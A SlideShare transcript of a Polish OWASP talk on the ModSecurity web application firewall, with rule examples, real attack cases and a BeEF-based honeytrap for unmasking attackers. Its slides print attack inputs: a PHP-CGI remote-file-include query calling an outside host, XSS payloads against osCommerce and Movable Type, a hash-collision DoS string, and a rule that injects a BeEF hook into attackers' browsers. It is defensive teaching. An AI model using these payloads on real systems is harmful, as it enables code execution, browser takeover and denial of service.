Czy Twój WAF to potrafi?                                    modsecurity.                                                  ...
/whoami• IT Security Architect @ Linux Polska Sp. z o.o.• Lider projektu WALLF Web Gateway (http://wallf.pl)• RHCA/RHCSS/R...
Agenda1. Kilka słów wstępu.2. Podstawowe możliwości.3. Realne przypadki4. PoC:  - Honeypot + modsecurity  - BeeF+modsecuri...
modsecurity• Najczęściej wykorzystywany WAF na świecie• Open source• Tysiące dl/miesiąc• Chronionych ponad milion serwerów...
modsecurity• Od zawsze dostępny dla Apache• Od niedawna także dla:  – Nginx (jest też naxsi oraz ngx_LUA based)  – Microso...
modsecurity                                                                                                               ...
modsecurity• Wirtualne patchowanie i integracja z DAST:  – ZAP, Arachni, RPC LUA API• Bramka typu Intrusion Prevention dla...
Modsecurity CRS• HTTP Protection - detecting violations of the HTTP protocol  and a locally defined usage policy.• Real-ti...
Modsecurity CRS• Integration with AV Scanning for File Uploads - detects  malicious files uploaded through the web applica...
Modsecurity CRS modsecurity_35_bad_robots.data          modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_e...
Realne przypadki                                                                                                          ...
Realne przypadki• Ruby on Rails XML Exploits    – Podatność w kodzie parsującym parametry XML –      YAML i Symbol    – Wy...
Realne przypadki• Positive security model dla formularza logowania +  ochrona przed brute force•                          ...
Realne przypadki• Ochrona przed atakami typu Slow HTTP DOS  – Slowloris:     •   Atakujący wysyła niekompletny zbiór nagłó...
Realne przypadki• Kontrolowanie ilości połączeń w stanie Busy:    SecReadStateLimit 5    SecWriteStateLimit 5•   [Mon Nov ...
Realne przypadki• HULK DOS Tool:    – Pythony skrypt    – Randomizowane wartości nagłówków: User-Agent,      Referer, Keep...
Realne przypadki• CVE-2012-1823:    – PHP jako czyste CGI    – mod_cgid• Możliwość podglądu kodu źródłowego:    – GET /ind...
Realne przypadki• OsCommerce 3.0.2 – XSS• Parametr „name” :    – POST /oscommerce/index.php?      RPC&Setup&Install&DBChec...
Realne przypadki• Movable Types: XSS• Parametr dbuser:  – POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1  – __mode=test&step=conf...
Realne przypadki• Movable types:                                                                                          ...
Realne przypadki• ASP.NET HashTable DoS:• Paylodem była bardzo duża ilość losowych  parametrów z pustą zawartością:•   EEF...
Honeytrapy                                                                                                                ...
Honeytrapy• Wykorzystanie istniejących serwerów:  – Listen 8080  – Listen 8888  – Listen 8000• Wykrywanie i blokowanie aut...
Honeytrapy• SecRule SERVER_PORT "^(8000|8080|8888)$"  "id:999004,phase:2,t:none,log,block,msg:HoneyTrap  Alert: Traffic Re...
Mięsko ;)                                                                                                                 ...
BEEF• The Browser Exploitation Framework –  zaawansowane narzędzie do pentestów• Browser as Pentesters gateway || C&C• Wym...
BEEF• Pozwala na przejęcie kontroli nad przeglądarką  użytkownika poprzez wstrzykiwanie hooków:  – Bind shell  – Javascrip...
• W jaki sposób wyśledzić prawdziwy adres  źródłowy atakującego?  – Proxy  – TOR• Analiza powłamaniowa                    ...
Co mamy?• Modsecurity jako WAF:  – Wykrywanie ataków  – Aktywacja Beefa• BeEF jako browser exploitation framework:  – Hook...
modsecurity+BEEF• Idea przedstawiona na Appsec 2012 USA  przez Rayna Barnetta• Ograniczenie do połączeń do tych „z browser...
modsecurity+BEEF• Filtrowanie wyjścia:  – SecResponseBodyAccess• Modyfikacja HTTP Response data  – SecContentInjection  – ...
modsecurity+BEEF• W jaki sposób zidentyfikować atakującego?• Założyć pułapki:  – Fake cookies  – Robots.txt  – Ukryte pola...
modsecurity+BEEF• SecRule ARGS:admin "!@streq false"  "id:9999923,phase:2,t:none,log,block,msg:Honey  trap alert: hidden f...
modsecurity+BEEF• Geolokalizacja:  – Lokalnie dostępne access pointy• Uzyskanie dostępu do CMD celem wysłania  ICMP do nas...
Podsumowanie• W modsecurity drzemią ogromne możliwości i  potencjał• Reguły oparte na blacklistach prędzej czy  później mo...
Podsumowanie                              Dziękuję za uwagę.                                   lm@linuxpolska.pl          ...
Upcoming SlideShare
Loading in …5
×

Leszek Miś "Czy twoj WAF to potrafi"

844
-1

Published on

Prezentacja ze spotkania OWASP w Krakowie w 2013 roku, poświęcona mod_security.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
844
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
2
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Leszek Miś "Czy twoj WAF to potrafi"

  1. 1. Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS lm@linuxpolska.pl 1Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  2. 2. /whoami• IT Security Architect @ Linux Polska Sp. z o.o.• Lider projektu WALLF Web Gateway (http://wallf.pl)• RHCA/RHCSS/RHCX• Skupiam się głównie na: – Linux Security – Web Security – Pentesty – SSO – Linux forensics – Klastry, wirtualizacja, cloud, storage 2 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  3. 3. Agenda1. Kilka słów wstępu.2. Podstawowe możliwości.3. Realne przypadki4. PoC: - Honeypot + modsecurity - BeeF+modsecurity = give me your real IP!5. Podsumowanie. 3 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  4. 4. modsecurity• Najczęściej wykorzystywany WAF na świecie• Open source• Tysiące dl/miesiąc• Chronionych ponad milion serwerów• Tryby pracy: – Wbudowany – Reverse Proxy 4 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  5. 5. modsecurity• Od zawsze dostępny dla Apache• Od niedawna także dla: – Nginx (jest też naxsi oraz ngx_LUA based) – Microsoft IIS• Blacklist: OWASP Modsecurity Core Rule Set• Whitelist – learning mode: – Modprofiler – WebApplicationProfiler – REMO 5 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  6. 6. modsecurity 6 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  7. 7. modsecurity• Wirtualne patchowanie i integracja z DAST: – ZAP, Arachni, RPC LUA API• Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy)• Możliwość szybkiej modyfikacji reguł• Ochrona przed błędami typu 0-day dla aplikacji webowych• Geolokalizacja• Ochrona antywirusowa dla uploadów• Nadawanie flag ciasteczkom 7 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  8. 8. Modsecurity CRS• HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy.• Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation• Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API.• HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks.• Common Web Attacks Protection - detecting common web application security attack.• Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity. 8 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  9. 9. Modsecurity CRS• Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application.• Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages.• Trojan Protection - Detecting access to Trojans horses.• Identification of Application Defects - alerts on application misconfigurations.• Error Detection and Hiding - Disguising error messages sent by the server. 9 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  10. 10. Modsecurity CRS modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf 10 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  11. 11. Realne przypadki 11Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  12. 12. Realne przypadki• Ruby on Rails XML Exploits – Podatność w kodzie parsującym parametry XML – YAML i Symbol – Wykonanie dowolnego polecenia systemowego• Modsecurity potrafi parsować i walidować XML:• SecRule REQUEST_HEADERS:Content-Type "text/xml" "id:900017, phase:1, t:none,t:lowercase, nolog, pass, chain" SecRule REQBODY_PROCESSOR "!@streq XML" "ctl:requestBodyProcessor=XML" 12 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  13. 13. Realne przypadki• Positive security model dla formularza logowania + ochrona przed brute force• 13 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  14. 14. Realne przypadki• Ochrona przed atakami typu Slow HTTP DOS – Slowloris: • Atakujący wysyła niekompletny zbiór nagłówków • „Zaśmiecenie” kolejki read request i write request • Serwer oczekuje dalszych requestów, aż do Timeoutu • Wysyłanie kolejnych żądań powoduje wysycenie zasobów – R-U-dead-yet czyli RUDY attack: • Faza request headers wykonywana poprawnie • Wolne wysyłanie request body, np 1bajt/100s – Wiele innych jak HOIC/LOIC 14 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  15. 15. Realne przypadki• Kontrolowanie ilości połączeń w stanie Busy: SecReadStateLimit 5 SecWriteStateLimit 5• [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400.• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -• Possible DoS Consumption Attack [Rejected]• [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400.• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -• Possible DoS Consumption Attack [Rejected] 15 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  16. 16. Realne przypadki• HULK DOS Tool: – Pythony skrypt – Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive – Zawsze ta sama kolejność –• 16 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  17. 17. Realne przypadki• CVE-2012-1823: – PHP jako czyste CGI – mod_cgid• Możliwość podglądu kodu źródłowego: – GET /index.php?-s – /index.php?-dallow_url_include%3don+- dauto_prepend_file %3dhttp://www.bu67778.com/a.txt• SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block ,log,msg:Potential PHP-CGI Exploit Attempt"• Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl 17
  18. 18. Realne przypadki• OsCommerce 3.0.2 – XSS• Parametr „name” : – POST /oscommerce/index.php? RPC&Setup&Install&DBCheck HTTP/1.1 – server=&username=&password=&name= %3Cscript%3Ealert(123)%3C%2Fscript %3E&port=&class=SQL• 18 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  19. 19. Realne przypadki• Movable Types: XSS• Parametr dbuser: – POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 – __mode=test&step=configure&set_static_uri_to=&d efault_language=en- us&config=&dbtype=mysql&dbserver=localhost&db name=&dbuser=%3Cscript%3Ealert %28%27123%27%29%3C%2Fscript %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t est=1 19 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  20. 20. Realne przypadki• Movable types: 20 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  21. 21. Realne przypadki• ASP.NET HashTable DoS:• Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością:• EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138 LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0 TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D 3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=• SecRequestBodyLimit 131072 – domyślna wartość• This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. 21 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  22. 22. Honeytrapy 22Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  23. 23. Honeytrapy• Wykorzystanie istniejących serwerów: – Listen 8080 – Listen 8888 – Listen 8000• Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach• Tagowanie klientów• Rozpoznawanie pod kątem prawdziwej aplikacji 23 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  24. 24. Honeytrapy• SecRule SERVER_PORT "^(8000|8080|8888)$" "id:999004,phase:2,t:none,log,block,msg:HoneyTrap Alert: Traffic Received on Fake Port., setvar:ip.malicious_client=1"• SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:999005,phase:2,t:none,log,block,msg:HoneyTrap Alert: Known Malicious Client."• Integracja z WASC Web Honeypots 24 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  25. 25. Mięsko ;) 25Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  26. 26. BEEF• The Browser Exploitation Framework – zaawansowane narzędzie do pentestów• Browser as Pentesters gateway || C&C• Wymagane: – Zmuszenie użytkownika do wejścia na stronę (FB,TW, krótkie linki) – Phishing – XSS – dla tych którzy uważają, że XSS nic nie znaczy 26 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  27. 27. BEEF• Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków: – Bind shell – Javascript command – Odwiedzane URLe – Skanowanie portów/dns enum/network discovery – Man In The Browser – Tunelowanie – Keylogger• Integracja z metasploit, np: – XSS->Hook->przejęcie kontroli nad przeglądarką – Wykorzystanie podatności, np. w Adobe – Dostęp do shella z poziomu metasploita 27 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  28. 28. • W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? – Proxy – TOR• Analiza powłamaniowa 28 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  29. 29. Co mamy?• Modsecurity jako WAF: – Wykrywanie ataków – Aktywacja Beefa• BeEF jako browser exploitation framework: – Hookowanie atakujących – Enumeracja lokalizacji atakującego• AuditConsole: – Centralna konsola do analizy logów 29 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  30. 30. modsecurity+BEEF• Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta• Ograniczenie do połączeń do tych „z browsera”• Monitorowanie atakujących 30 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  31. 31. modsecurity+BEEF• Filtrowanie wyjścia: – SecResponseBodyAccess• Modyfikacja HTTP Response data – SecContentInjection – SecStreamOutBodyInspection – Zmienna STREAM_OUTPUT_BODY – Operator @rsub• SecRule STREAM_OUTPUT_BODY " <at> rsub s/FUCK/****/" "phase:4,t:none,log,auditlog,pass" 31 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  32. 32. modsecurity+BEEF• W jaki sposób zidentyfikować atakującego?• Założyć pułapki: – Fake cookies – Robots.txt – Ukryte pola formularzy: • SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass" 32 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  33. 33. modsecurity+BEEF• SecRule ARGS:admin "!@streq false" "id:9999923,phase:2,t:none,log,block,msg:Honey trap alert: hidden form data manipulated,setvar:tx.malicious_client=1"• SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:999232, phase:4, t:none, pass, log,msg:hooking to beef"• SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></ht ml> 33 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  34. 34. modsecurity+BEEF• Geolokalizacja: – Lokalnie dostępne access pointy• Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta: – Analiza ruchu i wykrycie faktycznego adresu IP 34 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  35. 35. Podsumowanie• W modsecurity drzemią ogromne możliwości i potencjał• Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte• Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny – zmieniające się aplikacje• Audytowanie logów – konieczność• 35 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  36. 36. Podsumowanie Dziękuję za uwagę. lm@linuxpolska.pl 36 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl

×